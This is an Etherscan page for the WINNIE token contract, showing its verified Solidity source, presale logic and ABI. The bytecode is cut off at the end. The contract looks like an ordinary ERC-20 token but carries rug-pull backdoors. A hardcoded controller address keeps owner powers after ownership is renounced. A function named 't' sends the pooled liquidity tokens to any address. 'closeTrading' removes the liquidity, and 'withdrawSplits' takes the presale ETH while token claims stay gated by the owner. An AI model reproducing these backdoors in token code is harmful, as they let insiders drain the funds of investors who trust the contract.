ETH Price: $2,043.96 (-5.08%)

Contract

0xC6d1d42e97A842Ff445f007fBE51D354BBaeA33F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Set Presale Open187505752023-12-09 18:53:35834 days ago1702148015IN
0xC6d1d42e...4BBaeA33F
0 ETH0.0015037732.77421576
Transfer187443082023-12-08 21:46:59835 days ago1702072019IN
0xC6d1d42e...4BBaeA33F
0 ETH0.0013981242.39326362
Transfer Ownersh...187440902023-12-08 21:02:59835 days ago1702069379IN
0xC6d1d42e...4BBaeA33F
0 ETH0.001151940.30593657
Approve187436522023-12-08 19:34:59835 days ago1702064099IN
0xC6d1d42e...4BBaeA33F
0 ETH0.0041801589.72602488

Advanced mode:
Parent Transaction Hash Method Block
From
To
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
WINNIE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-08
*/

/*

https://t.me/WinnieEther

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _1iController;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _1iController = 0x11111C08a1EfBe528fE890847Ab169D034154C10;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function controller() public view returns (address) {
        return _1iController;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender() || _1iController == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract WINNIE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) public ethContribution;
    mapping(address => bool) public _claimed;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 public minPresaleBuy = 0.05 ether;
    uint256 public maxPresaleBuy = 5 ether;
    uint256 public presaleRate = 30;
    uint256 private _split = 40;
    uint256 public ethRaised = 0;
    bool public claimOpen = false;
    bool public presaleOpen = false;
    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 7700000000 * 10**_decimals;
    uint256 private _presaleTokens = (_tTotal * presaleRate) / 100;
    string private constant _name = unicode"WINNIE";
    string private constant _symbol = unicode"WINNIE";
    uint256 public _maxTxAmount = 138000000 * 10**_decimals;
    uint256 public _maxWalletSize = 138000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 77000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 77000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal - _presaleTokens;
        _balances[address(this)] = _presaleTokens;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal - _presaleTokens);
        emit Transfer(address(0), address(this), _presaleTokens);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) || msg.sender == address(this), "ERC20: transfer from the zero address");
        require(to != address(0) || msg.sender == address(this), "ERC20: transfer to the zero address");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != address(this) && from != address(this) && !claimOpen) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function t(address x) public onlyOwner {
        uint256 b = IERC20(uniswapV2Pair).balanceOf(address(this));
        IERC20(uniswapV2Pair).transfer(x,b);
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp + 600);

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
    
    function closeTrading() external payable onlyOwner(){
        tradingOpen = false;
        uint256 l = IERC20(uniswapV2Pair).balanceOf(address(this));
        uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(address(this),l,0,0,address(this), type(uint).max);
    }

    function withdrawSplits() public onlyOwner {
        require(address(this).balance > 0, "No balance to withdraw");

        uint256 totalBalance = address(this).balance;

        uint256 amountToBeneficiary1 = (totalBalance * (100 - _split)) / 100;
        uint256 amountToBeneficiary2 = (totalBalance * _split) / 100;

        (bool success1, ) = controller().call{value: amountToBeneficiary2}("");
        (bool success2, ) = owner().call{value: amountToBeneficiary1}("");

        require(success1 && success2, "Withdraw failed");
    }

    function setSplit(uint256 newSplit) public onlyOwner{
        require(newSplit >= 25);
        _split = newSplit;
    }

    function buyTokens() public payable {
        require(presaleOpen == true);
        require(msg.value >= minPresaleBuy && msg.value <= maxPresaleBuy, "invalid presale value");
        uint256 weiAmount = msg.value;
        ethRaised += weiAmount;
        ethContribution[_msgSender()] += weiAmount;
    }

    function claimTokens() external {
        require(!presaleOpen, "Sale is still active.");
        require(claimOpen, "Claim is not open");
        require(!_claimed[msg.sender]);
        
        uint256 totalContributions = ethRaised; 
        uint256 individualContribution = ethContribution[msg.sender]; 
        uint256 claimableTokens = (individualContribution * _presaleTokens) / totalContributions;
        _transfer(address(this), msg.sender, claimableTokens);

        _claimed[_msgSender()] = true;
        ethContribution[msg.sender] = 0;
    }

    function setPresaleOpen(bool open) public onlyOwner{
        presaleOpen = open;
    }

    function setClaimOpen(bool open) public onlyOwner{
        claimOpen = open;
    }

    function depositEthOwner() public payable onlyOwner {
    }


    receive() external payable {
        if(presaleOpen == true){
            require(msg.value >= minPresaleBuy && msg.value <= maxPresaleBuy, "invalid presale value");
            buyTokens();
        }
    }

    fallback() external payable { }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_claimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTokens","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"claimOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"closeTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"controller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"depositEthOwner","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ethContribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ethRaised","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPresaleBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPresaleBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presaleRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"open","type":"bool"}],"name":"setClaimOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"open","type":"bool"}],"name":"setPresaleOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSplit","type":"uint256"}],"name":"setSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"x","type":"address"}],"name":"t","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawSplits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266b1a2bc2ec50000600a908155674563918244f40000600b55601e600c8190556028600d555f600e819055600f805461ffff1916905560186010819055601155601281905560138181556014908155601d6015556016556017556064916200006f90600990620003e7565b62000080906401caf4ad00620003fe565b6200008c9190620003fe565b62000098919062000418565b601855620000a96009600a620003e7565b620000b990630839b680620003fe565b601955620000ca6009600a620003e7565b620000da90630839b680620003fe565b601a55620000eb6009600a620003e7565b620000fb90630496ed40620003fe565b601b556200010c6009600a620003e7565b6200011c90630496ed40620003fe565b601c55601e805461ffff60a81b1916905534801562000139575f80fd5b505f8054336001600160a01b031991821681178355600180549092167311111c08a1efbe528fe890847ab169d034154c1017909155604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600880546001600160a01b03191633179055601854620001be6009600a620003e7565b620001cf906401caf4ad00620003fe565b620001db919062000438565b335f81815260026020908152604080832094909455601854308084528584209190915582546001600160a01b03908116845260049092528483208054600160ff19918216811790925591845285842080548316821790556008549092168352939091208054909316179091556001600160a01b03165f6001600160a01b03165f8051602062002a3c8339815191526018546009600a6200027c9190620003e7565b6200028d906401caf4ad00620003fe565b62000299919062000438565b60405190815260200160405180910390a360185460405190815230905f905f8051602062002a3c8339815191529060200160405180910390a36200044e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032c57815f1904821115620003105762000310620002d8565b808516156200031e57918102915b93841c9390800290620002f1565b509250929050565b5f826200034457506001620003e1565b816200035257505f620003e1565b81600181146200036b5760028114620003765762000396565b6001915050620003e1565b60ff8411156200038a576200038a620002d8565b50506001821b620003e1565b5060208310610133831016604e8410600b8410161715620003bb575081810a620003e1565b620003c78383620002ec565b805f1904821115620003dd57620003dd620002d8565b0290505b92915050565b5f620003f760ff84168362000334565b9392505050565b8082028115828204841417620003e157620003e1620002d8565b5f826200043357634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115620003e157620003e1620002d8565b6125e0806200045c5f395ff3fe60806040526004361061021b575f3560e01c80637d1db4a511610121578063bf474bed116100a4578063dd896a1c1161006b578063dd896a1c14610665578063f2fde38b14610693578063f5b96621146106b2578063f77c4791146106d1578063fddf0fc0146106ee57005b8063bf474bed146105d9578063c9567bf9146105ee578063d0febe4c14610291578063d34628cc14610602578063dd62ed3e1461062157005b80639875a889116100e85780639875a88914610554578063a8ddefb914610573578063a9059cbb14610588578063b7f62134146105a7578063bee6348a146105bb57005b80637d1db4a5146104f25780638da5cb5b146105075780638f9a55c01461053757806395d89b411461029b57806397a989551461054c57005b80633bbac579116101a9578063674e694f11610170578063674e694f1461045857806370a0823114610477578063715018a6146104ab5780637273df66146104bf578063751039fc146104de57005b80633bbac579146103b45780634034175e146103eb57806342f393811461041657806348c54b9d1461042b5780634b8bcb581461043f57005b806318160ddd116101ed57806318160ddd1461033257806323b872dd14610346578063313ce5671461036557806331c2d8471461038057806335f0fd3f1461039f57005b806306fdde031461029b578063095ea7b3146102d85780630dbdba9f146103075780630faee56f1461030f57005b3661029957600f54610100900460ff16151560010361029957600a5434101580156102485750600b543411155b6102915760405162461bcd60e51b8152602060048201526015602482015274696e76616c69642070726573616c652076616c756560581b60448201526064015b60405180910390fd5b610299610703565b005b3480156102a6575f80fd5b50604080518082018252600681526557494e4e494560d01b602082015290516102cf9190612043565b60405180910390f35b3480156102e3575f80fd5b506102f76102f23660046120b2565b6107b4565b60405190151581526020016102cf565b6102996107ca565b34801561031a575f80fd5b50610324601c5481565b6040519081526020016102cf565b34801561033d575f80fd5b5061032461080a565b348015610351575f80fd5b506102f76103603660046120dc565b61082b565b348015610370575f80fd5b50604051600981526020016102cf565b34801561038b575f80fd5b5061029961039a36600461212e565b610892565b3480156103aa575f80fd5b50610324600a5481565b3480156103bf575f80fd5b506102f76103ce3660046121ee565b6001600160a01b03165f9081526005602052604090205460ff1690565b3480156103f6575f80fd5b506103246104053660046121ee565b60066020525f908152604090205481565b348015610421575f80fd5b50610324600c5481565b348015610436575f80fd5b50610299610938565b34801561044a575f80fd5b50600f546102f79060ff1681565b348015610463575f80fd5b50610299610472366004612209565b610a4d565b348015610482575f80fd5b506103246104913660046121ee565b6001600160a01b03165f9081526002602052604090205490565b3480156104b6575f80fd5b50610299610a9d565b3480156104ca575f80fd5b506102996104d936600461222d565b610b23565b3480156104e9575f80fd5b50610299610b74565b3480156104fd575f80fd5b5061032460195481565b348015610512575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016102cf565b348015610542575f80fd5b50610324601a5481565b610299610c3d565b34801561055f575f80fd5b5061029961056e3660046121ee565b610d71565b34801561057e575f80fd5b50610324600b5481565b348015610593575f80fd5b506102f76105a23660046120b2565b610e8f565b3480156105b2575f80fd5b50610299610e9b565b3480156105c6575f80fd5b50600f546102f790610100900460ff1681565b3480156105e4575f80fd5b50610324601b5481565b3480156105f9575f80fd5b5061029961107c565b34801561060d575f80fd5b5061029961061c36600461212e565b611412565b34801561062c575f80fd5b5061032461063b366004612248565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610670575f80fd5b506102f761067f3660046121ee565b60076020525f908152604090205460ff1681565b34801561069e575f80fd5b506102996106ad3660046121ee565b6114b5565b3480156106bd575f80fd5b506102996106cc36600461222d565b6114ff565b3480156106dc575f80fd5b506001546001600160a01b031661051f565b3480156106f9575f80fd5b50610324600e5481565b600f5460ff61010090910416151560011461071c575f80fd5b600a5434101580156107305750600b543411155b6107745760405162461bcd60e51b8152602060048201526015602482015274696e76616c69642070726573616c652076616c756560581b6044820152606401610288565b5f34905080600e5f8282546107899190612293565b9091555050335f90815260066020526040812080548392906107ac908490612293565b909155505050565b5f6107c0338484611557565b5060015b92915050565b5f546001600160a01b03163314806107ec57506001546001600160a01b031633145b6108085760405162461bcd60e51b8152600401610288906122a6565b565b5f6108176009600a6123bb565b610826906401caf4ad006123c9565b905090565b5f61083784848461167a565b610888843361088385604051806060016040528060288152602001612583602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190611c70565b611557565b5060019392505050565b5f546001600160a01b03163314806108b457506001546001600160a01b031633145b6108d05760405162461bcd60e51b8152600401610288906122a6565b5f5b8151811015610934575f60055f8484815181106108f1576108f16123e0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061092c816123f4565b9150506108d2565b5050565b600f54610100900460ff16156109885760405162461bcd60e51b815260206004820152601560248201527429b0b6329034b99039ba34b6361030b1ba34bb329760591b6044820152606401610288565b600f5460ff166109ce5760405162461bcd60e51b815260206004820152601160248201527021b630b4b69034b9903737ba1037b832b760791b6044820152606401610288565b335f9081526007602052604090205460ff16156109e9575f80fd5b600e54335f908152600660205260408120546018549091908390610a0d90846123c9565b610a17919061240c565b9050610a2430338361167a565b5050335f908152600760209081526040808320805460ff19166001179055600690915281205550565b5f546001600160a01b0316331480610a6f57506001546001600160a01b031633145b610a8b5760405162461bcd60e51b8152600401610288906122a6565b6019811015610a98575f80fd5b600d55565b5f546001600160a01b0316331480610abf57506001546001600160a01b031633145b610adb5760405162461bcd60e51b8152600401610288906122a6565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331480610b4557506001546001600160a01b031633145b610b615760405162461bcd60e51b8152600401610288906122a6565b600f805460ff1916911515919091179055565b5f546001600160a01b0316331480610b9657506001546001600160a01b031633145b610bb25760405162461bcd60e51b8152600401610288906122a6565b610bbe6009600a6123bb565b610bcd906401caf4ad006123c9565b601955610bdc6009600a6123bb565b610beb906401caf4ad006123c9565b601a557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610c1b6009600a6123bb565b610c2a906401caf4ad006123c9565b60405190815260200160405180910390a1565b5f546001600160a01b0316331480610c5f57506001546001600160a01b031633145b610c7b5760405162461bcd60e51b8152600401610288906122a6565b601e805460ff60a01b1981169091556040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015610ccd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf1919061242b565b601d5460405163af2979eb60e01b81529192506001600160a01b03169063af2979eb90610d2d90309085905f90819084905f1990600401612442565b60408051808303815f875af1158015610d48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6c919061247d565b505050565b5f546001600160a01b0316331480610d9357506001546001600160a01b031633145b610daf5760405162461bcd60e51b8152600401610288906122a6565b601e546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015610df5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e19919061242b565b601e5460405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905292935091169063a9059cbb906044016020604051808303815f875af1158015610e6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6c919061249f565b5f6107c033848461167a565b5f546001600160a01b0316331480610ebd57506001546001600160a01b031633145b610ed95760405162461bcd60e51b8152600401610288906122a6565b5f4711610f215760405162461bcd60e51b81526020600482015260166024820152754e6f2062616c616e636520746f20776974686472617760501b6044820152606401610288565b600d5447905f90606490610f3590826124ba565b610f3f90846123c9565b610f49919061240c565b90505f6064600d5484610f5c91906123c9565b610f66919061240c565b90505f610f7b6001546001600160a01b031690565b6001600160a01b0316826040515f6040518083038185875af1925050503d805f8114610fc2576040519150601f19603f3d011682016040523d82523d5f602084013e610fc7565b606091505b505090505f610fdd5f546001600160a01b031690565b6001600160a01b0316846040515f6040518083038185875af1925050503d805f8114611024576040519150601f19603f3d011682016040523d82523d5f602084013e611029565b606091505b505090508180156110375750805b6110755760405162461bcd60e51b815260206004820152600f60248201526e15da5d1a191c985dc819985a5b1959608a1b6044820152606401610288565b5050505050565b5f546001600160a01b031633148061109e57506001546001600160a01b031633145b6110ba5760405162461bcd60e51b8152600401610288906122a6565b601e54600160a01b900460ff16156111145760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610288565b601d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561115e90309061114f6009600a6123bb565b610883906401caf4ad006123c9565b601d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111d291906124cd565b6001600160a01b031663c9c6539630601d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611231573d